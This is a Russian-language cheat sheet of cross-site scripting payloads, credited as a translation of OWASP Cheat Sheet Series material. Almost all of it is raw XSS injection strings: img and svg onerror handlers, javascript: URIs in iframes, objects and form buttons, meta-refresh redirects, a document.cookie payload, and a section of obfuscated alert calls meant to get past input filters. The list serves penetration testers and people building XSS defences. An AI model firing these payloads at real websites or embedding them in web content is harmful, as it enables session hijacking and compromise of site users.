<Img src = x onerror = "javascript: window.onerror = alert; throw XSS"><Video> <source onerror = "javascript: alert (XSS)"><Input value = "XSS" type = text><applet code="javascript:confirm(document.cookie);"><isindex x="javascript:" onmouseover="alert(XSS)">"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>"><img src="x:x" onerror="alert(XSS)">"><iframe src="javascript:alert(XSS)"><object data="javascript:alert(XSS)"><isindex type=image src=1 onerror=alert(XSS)><img src=x:alert(alt) onerror=eval(src) alt=0><img src="x:gif" onerror="window['al\u0065rt'](0)"></img><iframe/src="data:text/html,<svg onload=alert(1)>"><meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/><svg><script xlink:href=data:,window.open('https://www.google.com/')></script<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"><iframe src=javascript:alert(document.location)><form><a href="javascript:\u0061lert(1)">X</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'><style>//*{x:expression(alert(/xss/))}//<style></style>
При наведении мыши:
<img src="/" =_=" title="onerror='prompt(1)'"><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe<script x> alert(1) </script 1=2<form><button formaction=javascript:alert(1)>CLICKME<input/onmouseover="javaSCRIPT:confirm(1)"<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
Обфускация вызова alert для обхода фильтра
(alert)(1)a=alert,a(1)[1].find(alert)top[“al”+”ert”](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)top[‘al\145rt’](1)top[‘al\x65rt’](1)top[8680439..toString(30)](1)alert?.()(alert())
В нагрузке следует указать ведущий и завершающий обратный апостроф (backtick):
``${alert``}``© Перевод на русский язык. Оригинальные материалы: OWASP Cheat Sheet Series.
Этот проект использует материалы OWASP, распространяемые по лицензии CC BY-SA 4.0.